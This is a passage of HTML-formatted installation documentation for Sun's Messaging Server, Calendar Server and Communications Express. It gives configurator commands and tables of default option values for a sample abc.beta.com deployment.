class="pSmartList1"&gt;&lt;li&gt;(Option)Configure the Webmail port:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34775"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;/opt/SUNWmsgsr/sbin/configutil -o service.http.port -v 8080&lt;/span&gt; &lt;/p&gt;&lt;a name="wp34776"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Start Messaging Server:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34777"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;/opt/SUNWmsgsr/sbin/stop-msg&lt;/span&gt; &lt;/p&gt;&lt;a name="wp34778"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;/opt/SUNWmsgsr/sbin/start-msg&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45382"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Continue with the next section to configure Calendar Server.&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp45127"&gt; &lt;/a&gt;&lt;h2 class="pHeading2"&gt; Configuring Calendar Server &lt;/h2&gt; &lt;a name="wp45128"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section shows you how to run the Calendar Server configuration script and how to verify the Calendar Server configuration. &lt;/p&gt; &lt;a name="wp45129"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Configure Calendar Server &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp45130"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Run the Calendar Server configurator script on mail.abc.beta.com:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45131"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /opt/SUNWics5/cal/sbin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45132"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./csconfigurator.sh&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45133"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next at the Welcome page.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46201"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The installation script prompts for a series of options. Use the following table to respond to the configuration options:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46261"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq46202" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp46208"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table 10  Values for Calendar Server &lt;span class="cCode"&gt;csconfigure&lt;/span&gt; Script   &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp46214"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Option &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp46216"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; [Default Value] &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp46218"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Enter: &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46220"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; LDAP Server Host Name &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46222"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [ds.abc.beta.com} &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46224"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46226"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; LDAP Server Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46228"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [389] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46230"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46232"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Manager DN &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46234"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [cn=Directory Manager] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46292"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46238"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Directory Manager Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46240"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46242"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46244"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Enable Virtual Domains support &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46246"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Checked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46313"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46250"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Virtual Domains setting: Default domain &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46252"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46254"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46256"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Calendar Administrator Username &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46258"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [calmaster] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46260"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46388"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Calendar Administrator Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46390"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46403"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46382"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Calendar Administrator Email address &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46384"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [calmaster@abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46386"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46376"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Site administrator &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46378"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Yes] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46380"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46370"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Set up a Front End/Back End deployment &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46372"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Unchecked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46374"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46364"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Email Alarms &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46366"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Enabled] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46368"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46358"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administrator Email Address &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46360"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [calmaster@abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46362"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46352"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; SMTP Host Name &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46354"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [mail.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46356"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46346"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Service Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46348"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [80] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46350"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;3080&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46340"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Maximum Sessions &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46342"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [5000] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46344"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46334"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Maximum Threads &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46336"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [20] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46338"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46529"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Number of server processes &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46531"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [1] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46533"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46523"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Runtime User ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46525"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [icsuser] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46527"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46517"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Runtime Group ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46519"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [icsgroup] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46521"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46511"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Start Calendar Server after Successful Configuration &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46513"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Unchecked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46515"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46505"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Start Calendar Serve on System Startup &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46507"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Checked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46509"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;Unchecked&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46499"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Configuration Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46501"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/etc/opt/SUNWics5/config] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46503"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46493"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Database Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46495"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWics5/csdb] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46497"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46487"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Attachment Store Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46489"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWics5/astore] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46491"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46481"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Logs Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46483"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWics5/logs] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46485"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46475"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Temporary Files Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46477"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWics5/tmp] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46479"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46685"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Enable Archive &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46687"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Checked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46689"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46679"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Archive Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46681"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWics5/csdb/archive] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46683"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46673"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Enable Hot Backup &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46675"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Checked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46677"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46667"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Hot Backup Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46669"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWics5/csdb/hotbackup] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46671"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46661"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Keep archives for (in days) &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46663"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Minimum: 3, Maximum: 6] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46665"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46655"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Keep hot backups for (in days) &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46657"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Minimum: 3, Maximum: 6] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46659"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46649"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Same as archive checkbox &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46651"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Checked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46653"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;a name="wp45168"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click the Configure Now button to configure Calendar Server.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45169"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The Configuration begins and takes less than two minutes. &lt;/p&gt;&lt;a name="wp47853"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next when the configuration is complete.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp47852"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click the Details button to verify that all packages configured correctly. Click the Close button to exit the configurator.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45170"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Start the Calendar Server daemons:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45171"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /opt/SUNWics5/cal/sbin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45172"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./stop-cal&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45173"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./start-cal&lt;/span&gt; &lt;/p&gt;&lt;a name="wp46888"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Continue with the next section to configure Communications Express.&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp45178"&gt; &lt;/a&gt;&lt;h2 class="pHeading2"&gt; Configuring Communications Express &lt;/h2&gt; &lt;a name="wp45179"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section shows you how to run the Communications Express configuration script. &lt;/p&gt; &lt;a name="wp45180"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Configure Communications Express &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp45181"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Run the Communications Express configurator script on am.abc.beta.com:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45182"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /opt/SUNWuwc/sbin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45183"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./config-uwc&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45184"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next at the Welcome page.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45185"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Accept the default for Directory to store configuration and data files: [&lt;span class="cCode"&gt;/var/opt/SUNWuwc&lt;/span&gt;]&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45186"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Choose to create the directory when prompted. &lt;/p&gt;&lt;a name="wp45187"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Install the Mail and Calendar Components.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45191"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The installation script prompts for a series of options. Use the following table to respond to the configuration options: &lt;/p&gt;&lt;a name="wp45372"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq45192" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp45199"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table  11  Values for &lt;span class="cCode"&gt;config-uwc&lt;/span&gt; Script   &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp45205"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Option &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp45207"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; [Default Value] &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp45209"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Enter: &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45211"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Hostname &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45213"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45215"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45217"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; DNS Domain &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45219"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45221"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45223"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Container &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45225"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Web Server] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45227"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45229"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server Root Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45231"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/opt/SUNWwbsvr7] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45233"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45397"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server Config Root Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45399"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWwbsvr7] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45401"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default 